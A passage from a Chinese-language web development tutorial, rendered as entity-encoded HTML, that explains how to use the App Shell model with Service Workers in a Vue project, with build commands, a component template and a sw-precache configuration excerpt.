&#x7F13;&#x5B58;&#x7684; App Shell &#x5185;&#x5BB9;\"></p>\n<p>&#x7ECF;&#x8FC7;&#x6211;&#x4EEC;&#x524D;&#x9762;&#x7684;&#x5206;&#x6790;&#xFF0C;App Shell &#x548C; Service Worker &#x7ED3;&#x5408;&#x9996;&#x5C4F;&#x5C55;&#x73B0;&#x901F;&#x5EA6;&#x4F1A;&#x975E;&#x5E38;&#x5FEB;&#xFF0C;&#x90A3;&#x4E48;&#x5728;&#x8FD9;&#x4E2A;&#x6848;&#x4F8B;&#x4E2D;&#xFF0C;&#x9996;&#x5C4F;&#x7684;&#x6027;&#x80FD;&#x5230;&#x5E95;&#x5982;&#x4F55;&#x5462;&#xFF0C;&#x6765;&#x770B;&#x4E00;&#x4E0B;&#x4E0B;&#x9762;&#x8FD9;&#x5F20;&#x56FE;&#xFF0C;&#x8FD9;&#x5F20;&#x6E32;&#x67D3;&#x6027;&#x80FD;&#x7684;&#x56FE;&#x662F;&#x5728; PC Chrome &#x4E0A;&#x7EDF;&#x8BA1;&#x7684;&#x3002;</p>\n<p><img src=\"img/lavas_official_site_performance.png\" alt=\"Lavas &#x5B98;&#x7F51;&#x7684;&#x9996;&#x5C4F;&#x6E32;&#x67D3;&#x901F;&#x5EA6;\"></p>\n<p>&#x4ECE;&#x4E0A;&#x56FE;&#x4E2D;&#xFF0C;&#x80FD;&#x770B;&#x5230;&#x5927;&#x6982;&#x5728;&#x65F6;&#x95F4;&#x8F74; 200ms &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5DF2;&#x7ECF;&#x6E32;&#x67D3;&#x51FA;&#x4E86; App Shell&#x3002;&#x67E5;&#x770B;&#x6D4F;&#x89C8;&#x5668;&#x7EDF;&#x8BA1;&#x7684;&#x8BE6;&#x7EC6; Event Log&#xFF0C;&#x4E0A;&#x56FE;&#x4E2D;&#x9875;&#x9762;&#x9996;&#x6B21;&#x7ED8;&#x5236;&#x662F;&#x5728; 230ms&#xFF0C;&#x518D;&#x51CF;&#x53BB;&#x4E0A;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x9500;&#x6BC1;&#x65F6;&#x95F4;&#x5927;&#x6982; 80ms&#xFF0C;&#x5B9E;&#x9645;&#x4E0A;&#x5F53;&#x524D;&#x9875;&#x9762;&#x4ECE;&#x5F00;&#x59CB;&#x53D1;&#x9001;&#x8BF7;&#x6C42;&#x5230;&#x9996;&#x5C4F;&#x6E32;&#x67D3;&#x51FA;&#x6765;&#x6240;&#x82B1;&#x6389;&#x7684;&#x65F6;&#x95F4;&#x662F; <strong>150ms</strong>&#xFF0C;&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x6765;&#x8BF4;&#xFF0C;&#x9875;&#x9762;&#x51E0;&#x4E4E;&#x662F;&#x77AC;&#x95F4;&#x5448;&#x73B0;&#xFF0C;&#x6CA1;&#x6709;&#x767D;&#x5C4F;&#x65F6;&#x95F4;&#x3002;&#x5E76;&#x4E14;&#x4ECE;&#x4E0A;&#x56FE;&#x4E2D;&#xFF0C;&#x4E5F;&#x80FD;&#x770B;&#x51FA;&#x6E32;&#x67D3;&#x7684;&#x987A;&#x5E8F;&#x662F;&#x5148; App Shell&#xFF0C;&#x7136;&#x540E;&#x518D;&#x6E32;&#x67D3;&#x51FA;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#xFF0C;&#x548C;&#x6211;&#x4EEC;&#x9884;&#x60F3;&#x7684;&#x4E00;&#x6837;&#x3002;</p>\n<p>&#x5982;&#x679C;&#x60A8;&#x89C9;&#x5F97;&#x8FD9;&#x4E2A;&#x7AD9;&#x70B9;&#x8FC7;&#x4E8E;&#x7B80;&#x5355;&#xFF0C;&#x65E0;&#x6CD5;&#x4F53;&#x9A8C; Service Worker &#x548C; App Shell &#x7ED3;&#x5408;&#x7684;&#x4F18;&#x52BF;&#xFF0C;&#x4E0B;&#x9762;&#x5217;&#x51FA;&#x4E86;&#x8BE5;&#x56E2;&#x961F;&#x63D0;&#x4F9B;&#x7684;&#x53E6;&#x4E00;&#x4E2A;&#x8F83;&#x590D;&#x6742;&#x7684;&#x4F7F;&#x7528;&#x4E86; App Shell &#x6A21;&#x578B;&#x7684;&#x4F8B;&#x5B50;&#xFF0C;&#x4E5F;&#x540C;&#x6837;&#x662F;&#x4F53;&#x9A8C;&#x975E;&#x5E38;&#x826F;&#x597D;&#x7684; PWA &#x7AD9;&#x70B9;&#x3002;</p>\n<p><a href=\"https://lavas.baidu.com/12306/\" target=\"_blank\">https://lavas.baidu.com/12306/</a>&#xFF0C;&#x8FD9;&#x662F;&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;&#x5F00;&#x53D1;&#x7684;&#x4E00;&#x4E2A; demo&#xFF0C;&#x53C2;&#x8003;&#x4E2D;&#x56FD;&#x94C1;&#x8DEF;&#x5728;&#x7EBF;&#x552E;&#x7968;&#x7CFB;&#x7EDF; 12306&#x3002;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF0C;&#x8FD9;&#x4E2A;&#x7AD9;&#x70B9;&#x53EA;&#x662F; demo&#xFF0C;&#x4E0D;&#x662F; 12306 &#x5B98;&#x65B9;&#x7684;&#x7F51;&#x7AD9;&#xFF0C;&#x4E0D;&#x8981;&#x8F93;&#x5165;&#x5BC6;&#x7801;&#x7B49;&#x4E2A;&#x4EBA;&#x4FE1;&#x606F;&#x3002;</p>\n</blockquote>\n<h2 id=\"&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;-app-shell--service-worker\"><a name=\"&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;-app-shell--service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;-app-shell--service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;-app-shell--service-worker\" class=\"plugin-anchor\" href=\"#&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;-app-shell--service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5982;&#x4F55;&#x5728; Vue &#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528; App Shell + Service Worker</h2>\n<p>&#x7B2C;&#x4E00;&#x7AE0;&#x7684;&#x4F8B;&#x5B50;&#x4E5F;&#x91C7;&#x7528;&#x4E86; App Shell + Service Worker &#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x4F46;&#x662F;&#x6CA1;&#x6709;&#x91C7;&#x7528;&#x4EFB;&#x4F55;&#x6846;&#x67B6;&#x8F85;&#x52A9;&#xFF0C;&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x8FD9;&#x6837;&#x4E0D;&#x501F;&#x52A9;&#x4EFB;&#x4F55;&#x6846;&#x67B6;&#x7F16;&#x5199; SPA &#x662F;&#x6BD4;&#x8F83;&#x5C11;&#x89C1;&#x7684;&#x3002;&#x5728;&#x73B0;&#x4EE3;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x91C7;&#x7528; Angular/React/Vue &#x6765;&#x7F16;&#x5199;&#x590D;&#x6742; SPA &#x7684;&#x9879;&#x76EE;&#x5360;&#x5927;&#x591A;&#x6570;&#xFF0C;&#x90A3;&#x4E48;&#x5982;&#x4F55;&#x5728;&#x8FD9;&#x4E9B;&#x6846;&#x67B6;&#x4E2D;&#x4F7F;&#x7528; App Shell &#x548C; Service Worker &#x5462;&#xFF0C;&#x4E0B;&#x9762;&#x6211;&#x4EEC;&#x7528;&#x4E00;&#x4E2A;&#x5B9E;&#x9645;&#x7684;&#x4F8B;&#x5B50;&#x6765;&#x6F14;&#x793A;&#x4E00;&#x4E0B;&#x3002;</p>\n<h3 id=\"&#x542F;&#x52A8;&#x793A;&#x4F8B;\"><a name=\"&#x542F;&#x52A8;&#x793A;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x542F;&#x52A8;&#x793A;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x542F;&#x52A8;&#x793A;&#x4F8B;\" class=\"plugin-anchor\" href=\"#&#x542F;&#x52A8;&#x793A;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x542F;&#x52A8;&#x793A;&#x4F8B;</h3>\n<p>&#x548C;&#x7B2C;&#x4E00;&#x7AE0;&#x7684;&#x4F8B;&#x5B50;&#x4E00;&#x6837;&#xFF0C;&#x60A8;&#x9700;&#x8981;&#x51C6;&#x5907; Git&#xFF0C;Node.js &#x548C; npm &#x73AF;&#x5883;&#xFF0C;&#x51C6;&#x5907;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x4E0B;&#x9762;&#x7684;&#x547D;&#x4EE4;&#x4E0B;&#x8F7D;&#x6211;&#x4EEC;&#x7684;&#x793A;&#x4F8B;&#xFF0C;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x662F;&#x6839;&#x636E; <code>vue-cli</code> &#x521B;&#x5EFA;&#x7684;&#x5F88;&#x57FA;&#x672C;&#x7684; Webpack &#x6A21;&#x677F;&#xFF0C;&#x53EF;&#x4EE5;&#x53C2;&#x8003; npm &#x4E0A;&#x7684;&#x6587;&#x6863; <a href=\"https://www.npmjs.com/package/vue-cli\" target=\"_blank\">vue-cli &#x7B80;&#x4ECB;</a>&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter02/appshell &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter02/appshell\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span>\n\n<span class=\"token comment\"># &#x542F;&#x52A8; chapter02 appshell &#x793A;&#x4F8B;</span>\n$ <span class=\"token function\">npm</span> run dev\n</code></pre>\n<p>&#x5728;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x770B;&#x5230;&#x8F93;&#x51FA; <code>Your application is running here: http://localhost:8080</code> &#x540E;\b&#xFF0C;&#x4EE3;&#x8868;&#x670D;&#x52A1;&#x5DF2;&#x7ECF;&#x542F;&#x52A8;&#x6210;&#x529F;&#xFF0C;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BBF;&#x95EE; <code>http://localhost:8080</code>&#xFF0C;&#x80FD;&#x770B;&#x5230;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x9875;&#x9762;&#x3002;</p>\n<p><img src=\"img/chapter02_demo_screenshot.png\" width=\"50%\" title=\"App Shell demo &#x542F;&#x52A8;&#x6210;&#x529F;&#x793A;&#x610F;&#x56FE;\" alt=\"App Shell demo &#x542F;&#x52A8;&#x6210;&#x529F;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x8FD9;&#x65F6;&#xFF0C;&#x5982;&#x679C;&#x60A8;&#x6253;&#x5F00; Chrome &#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#xFF0C;&#x5E76;&#x5B9A;&#x4F4D;&#x5230; Application &#x680F;&#x76EE;&#xFF0C;&#x4F1A;&#x53D1;&#x73B0;&#x6CA1;&#x6709;&#x6CE8;&#x518C; Service Worker&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A;&#x6211;&#x4EEC;&#x5728;&#x5F00;&#x53D1;&#x6A21;&#x5F0F;&#x4E0B;&#x6CA1;&#x6709;&#x751F;&#x6210; <code>service-worker.js</code> &#x6587;&#x4EF6;&#xFF0C;&#x6839;&#x636E;&#x6211;&#x4EEC;&#x7684;&#x7ECF;&#x9A8C;&#xFF0C;&#x5728;&#x5F00;&#x53D1;&#x6A21;&#x5F0F;&#x4E0B;&#x542F;&#x7528; Service Worker &#x5BF9;&#x5F00;&#x53D1;&#x8C03;&#x8BD5;&#x4F1A;&#x5E26;&#x6765;&#x5F88;&#x5927;&#x7684;&#x5F71;&#x54CD;&#xFF0C;&#x56E0;&#x4E3A;&#x5982;&#x679C; Service Worker \b&#x5199;&#x7684;&#x4E0D;&#x591F;&#x5B8C;&#x5584;&#xFF0C;&#x4F1A;&#x5BFC;&#x81F4;&#x5F00;&#x53D1;&#x4E2D;\b&#x4FEE;&#x6539;&#x540E;&#x7684;&#x6587;&#x4EF6;&#x5F97;&#x4E0D;&#x5230;&#x53CA;&#x65F6;&#x7684;&#x66F4;&#x65B0;&#xFF0C;&#x6CA1;&#x6709;&#x7ECF;&#x9A8C;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x4F1A;&#x82B1;&#x8F83;&#x591A;&#x7684;&#x65F6;&#x95F4;&#x6765;&#x6392;&#x67E5;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x7684; demo &#x53EA;&#x6709;&#x5728;&#x7F16;&#x8BD1;&#x4E4B;&#x540E;&#x624D;&#x4F1A;&#x751F;&#x6210; <code>service-worker.js</code> &#x6587;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x7F16;&#x8BD1;</span>\n$ <span class=\"token function\">npm</span> run build\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230;&#x7F16;&#x8BD1;&#x540E;&#x7684; dist &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> dist\n<span class=\"token comment\"># &#x5B89;&#x88C5;&#x9759;&#x6001;&#x6587;&#x4EF6;&#x8C03;&#x8BD5;&#x670D;&#x52A1;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span> -g edp\n<span class=\"token comment\"># &#x5728; dist &#x76EE;&#x5F55;&#x4E2D;&#x542F;&#x52A8;&#x672C;&#x5730;&#x9759;&#x6001;&#x6587;&#x4EF6;&#x670D;&#x52A1;</span>\n$ edp ws start\n</code></pre>\n<p>&#x5728;&#x547D;&#x4EE4;&#x884C;&#x8F93;&#x51FA;&#x4E86;&#x4E0B;&#x9762;&#x7684;&#x6587;&#x672C;&#x540E;&#xFF0C;&#x5373;&#x4EE3;&#x8868;&#x670D;&#x52A1;&#x5DF2;&#x7ECF;&#x542F;&#x52A8;&#x3002;</p>\n<pre class=\"language-\"><code>mockservice\nedp INFO EDP WebServer start, http://xxx.xxx.xxx.xxx:8848\n</code></pre><p>&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8F93;&#x5165; <code>http://localhost:8848</code>&#xFF0C;&#x80FD;&#x770B;&#x5230;&#x8C03;&#x8BD5;&#x6A21;&#x5F0F;&#x4E0B;&#x76F8;&#x540C;&#x7684;&#x9875;&#x9762;&#x3002;&#x4E0D;&#x540C;&#x7684;&#x5730;&#x65B9;&#x5728;&#x4E8E;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5DF2;&#x7ECF;&#x5B89;&#x88C5;&#x4E86; Service Worker&#xFF0C;&#x6253;&#x5F00; Chrome &#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#xFF0C;&#x5B9A;&#x4F4D;&#x5230; Application -&gt; Service Worker&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/chapter02_demo_service_worker.png\" alt=\"Chapter02 demo Service Worker &#x5B89;&#x88C5;&#x6210;&#x529F;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x70B9;&#x51FB; Chrome &#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#x5DE6;&#x4FA7;&#x7684; Cache -&gt; Cache Storage\b&#xFF0C;&#x80FD;&#x770B;&#x5230;&#x6709;&#x4E24;&#x4E2A; Cache Storage &#x5B9E;&#x4F8B;&#xFF0C;&#x5176;&#x4E2D;&#x4E00;&#x4E2A;&#x4EE5; <code>sw-precache-</code> &#x5F00;&#x5934;&#x7684;&#x5B9E;&#x4F8B;&#x91CC;&#x9762;&#x9884;&#x7F13;&#x5B58;&#x4E86; App Shell &#x6240;&#x9700;&#x7684;&#x9759;&#x6001;&#x6587;&#x4EF6;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x3002;</p>\n<p><img src=\"img/chapter02_demo_app_shell_in_cache_storage.png\" alt=\"Chapter02 demo App Shell &#x7F13;&#x5B58;&#x5185;&#x5BB9;\"></p>\n<h3 id=\"&#x793A;&#x4F8B;&#x89E3;&#x6790;\"><a name=\"&#x793A;&#x4F8B;&#x89E3;&#x6790;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x793A;&#x4F8B;&#x89E3;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x793A;&#x4F8B;&#x89E3;&#x6790;\" class=\"plugin-anchor\" href=\"#&#x793A;&#x4F8B;&#x89E3;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x793A;&#x4F8B;&#x89E3;&#x6790;</h3>\n<h4 id=\"&#x54EA;&#x4E9B;&#x533A;&#x57DF;&#x662F;-app-shell\"><a name=\"&#x54EA;&#x4E9B;&#x533A;&#x57DF;&#x662F;-app-shell\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x54EA;&#x4E9B;&#x533A;&#x57DF;&#x662F;-app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x54EA;&#x4E9B;&#x533A;&#x57DF;&#x662F;-app-shell\" class=\"plugin-anchor\" href=\"#&#x54EA;&#x4E9B;&#x533A;&#x57DF;&#x662F;-app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x54EA;&#x4E9B;&#x533A;&#x57DF;&#x662F; App Shell</h4>\n<p>&#x5728;&#x8FD9;&#x4E2A; Vue &#x7684;&#x793A;&#x4F8B;&#x91CC;&#xFF0C;&#x53EF;&#x89C1;&#x90E8;&#x5206;&#x54EA;&#x4E9B;&#x662F; App Shell &#x5462;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x67E5;&#x770B; <code>src/App.vue</code> &#x6587;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>template</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>app<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./assets/logo.png<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>router-view</span><span class=\"token punctuation\">/&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>bottom-navigation</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>bottom-navigation</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>template</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x719F;&#x6089; Vue &#x7684;&#x5F00;&#x53D1;&#x8005;&#x90FD;&#x77E5;&#x9053; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>router-view</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5728; Vue &#x9879;&#x76EE;&#x91CC;&#x662F;&#x7528;&#x6765;&#x5D4C;&#x5165;&#x5B50;&#x8DEF;&#x7531;&#x7684;&#xFF0C;<code>Home.vue</code> &#x548C; <code>NextPage.vue</code> &#x662F;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#x4E2D;&#x7684;&#x4E24;&#x4E2A;&#x9875;&#x9762;&#x3002;</p>\n<p>&#x53EF;&#x4EE5;&#x7B80;&#x5355;&#x7684;&#x8BA4;&#x4E3A;&#xFF0C;\b&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>router-view</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E4B;&#x5916;&#x7684;&#x5185;&#x5BB9;&#x90FD;&#x53EF;&#x4EE5;&#x8BA4;&#x4E3A;&#x662F; App Shell&#xFF0C;&#x4E0D;&#x4EC5;&#x5305;&#x62EC;&#x4E0A;&#x9762;&#x7684; img &#x6807;&#x7B7E;&#xFF0C;&#x4E0B;&#x9762;&#x7684; <code>bottom-navigation</code> &#x7EC4;&#x4EF6;&#xFF0C;&#x8FD8;&#x5305;&#x62EC;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>app<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5916;&#x9762;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5982; <code>index.html</code> &#x6587;&#x4EF6;&#x4E2D;&#x7684;&#x5176;&#x4ED6;&#x90E8;&#x5206;&#x3002;</p>\n<p><img src=\"img/chapter02_demo_appshell.png\" alt=\"Chapter02 demo App\b Shell &#x548C;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x793A;&#x610F;&#x56FE;\"></p>\n<h4 id=\"&#x5982;&#x4F55;&#x7F13;&#x5B58;-app-shell-&#x5185;&#x5BB9;\"><a name=\"&#x5982;&#x4F55;&#x7F13;&#x5B58;-app-shell-&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5982;&#x4F55;&#x7F13;&#x5B58;-app-shell-&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5982;&#x4F55;&#x7F13;&#x5B58;-app-shell-&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x5982;&#x4F55;&#x7F13;&#x5B58;-app-shell-&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5982;&#x4F55;&#x7F13;&#x5B58; App Shell &#x5185;&#x5BB9;</h4>\n<p>&#x5728;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;<code>service-worker.js</code> &#x6587;&#x4EF6;&#x662F;&#x901A;&#x8FC7; SW Precache Webpack Plugin &#x63D2;&#x4EF6;&#x751F;&#x6210;&#x7684;&#xFF0C;&#x53EF;&#x4EE5;&#x53C2;&#x8003; <a href=\"https://github.com/goldhand/sw-precache-webpack-plugin#readme\" target=\"_blank\">sw-precache-webpack-plugin</a> &#x6587;&#x6863;&#x3002;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// build/webpack.prod.js #13 &#x884C;</span>\n<span class=\"token comment\">// &#x5F15;&#x5165; sw-precache-webpack-plugin &#x63D2;&#x4EF6;</span>\n<span class=\"token keyword\">const</span> SWPrecacheWebpackPlugin <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;sw-precache-webpack-plugin&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// build/webpack.prod.js #121 &#x884C;</span>\n<span class=\"token comment\">// &#x6DFB;&#x52A0; sw-precache-webpack-plugin &#x63D2;&#x4EF6;&#x751F;&#x6210; Service Worker &#x6587;&#x4EF6;</span>\n<span class=\"token keyword\">new</span> <span class=\"token class-name\">SWPrecacheWebpackPlugin</span><span class=\"token punctuation\">(</span>config<span class=\"token punctuation\">.</span>swPrecache<span class=\"token punctuation\">.</span>build<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5B83;&#x7684;&#x914D;&#x7F6E;&#x5199;&#x5728; <code>config/sw-preache.js</code> &#x6587;&#x4EF6;&#x4E2D;\b&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5BF9;&#x5B83;&#x505A;&#x4E00;&#x5B9A;&#x7684;&#x4FEE;&#x6539;&#x3002;</p>\n<p>&#x7F16;&#x8BD1;&#x4E4B;&#x540E;&#xFF0C;&#x4F1A;&#x5728; <code>dist</code> &#x76EE;&#x5F55;&#x4E2D;&#x751F;&#x6210; <code>service-worker.js</code> &#x6587;&#x4EF6;&#xFF0C;\b&#x7B2C;&#x56DB;&#x7AE0;&#x4E2D;&#x6709;&#x5BF9; Service Worker \b&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x4E0D;&#x5FC5;&#x5173;&#x5FC3;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x4E2D;&#x8FC7;&#x591A;&#x7684;&#x7EC6;&#x8282;&#x3002;&#x63D2;&#x4EF6;&#x751F;&#x6210;&#x7684; Service Worker &#x505A;&#x4E86;&#x5F88;&#x591A;&#x4E8B;&#x60C5;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>&#x5217;&#x51FA;&#x4E86;&#x9879;&#x76EE;&#x4E2D;&#x9759;&#x6001;&#x6587;&#x4EF6;&#x5217;&#x8868;</li>\n<li>\b&#x9884;&#x7F13;&#x5B58;&#x4E86; App Shell &#x7684;&#x9759;&#x6001;&#x6587;&#x4EF6;</li>\n<li>&#x5177;&#x6709;&#x9884;&#x7F13;&#x5B58;&#x52A8;&#x6001;&#x66F4;&#x65B0;&#x673A;&#x5236;</li>\n<li>Service Worker &#x7684;&#x66F4;&#x65B0;&#x673A;&#x5236;</li>\n</ul>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// &#x9884;&#x7F13;&#x5B58;&#x6587;&#x4EF6;&#x5217;&#x8868;&#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x542B; App Shell &#x6240;&#x6709;&#x7684;&#x6587;&#x4EF6;</span>\n<span class=\"token keyword\">var</span> precacheConfig <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/index.html&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;cb8786927330e5bdd417a47314a7300b&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/css/app.5be76b7d213b43df9723e8ab15122efb.css&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;5b0aa7a24708300b7176f0304923ab39&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/images/icons/icon_144x144.png&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;4bf0757895bd1cda44ee9204fe06a661&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/images/icons/icon_152x152.png&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;c69908d502224c5317453f8ae725bbf0&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/images/icons/icon_192x192.png&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;c69908d502224c5317453f8ae725bbf0&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/images/icons/icon_512x512.png&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;8eaee831d59442821083453b174df0f6&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/js/0.2dd5b370dbfb9afda866.js&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;5455b40e8991749d4aeb904f09389394&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/js/1.f740f9813d49b7661238.js&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;65b7858bacef211f345d0d88fda81092&quot;</span><span class=\"token punctuation\">]</span><span class=\"token 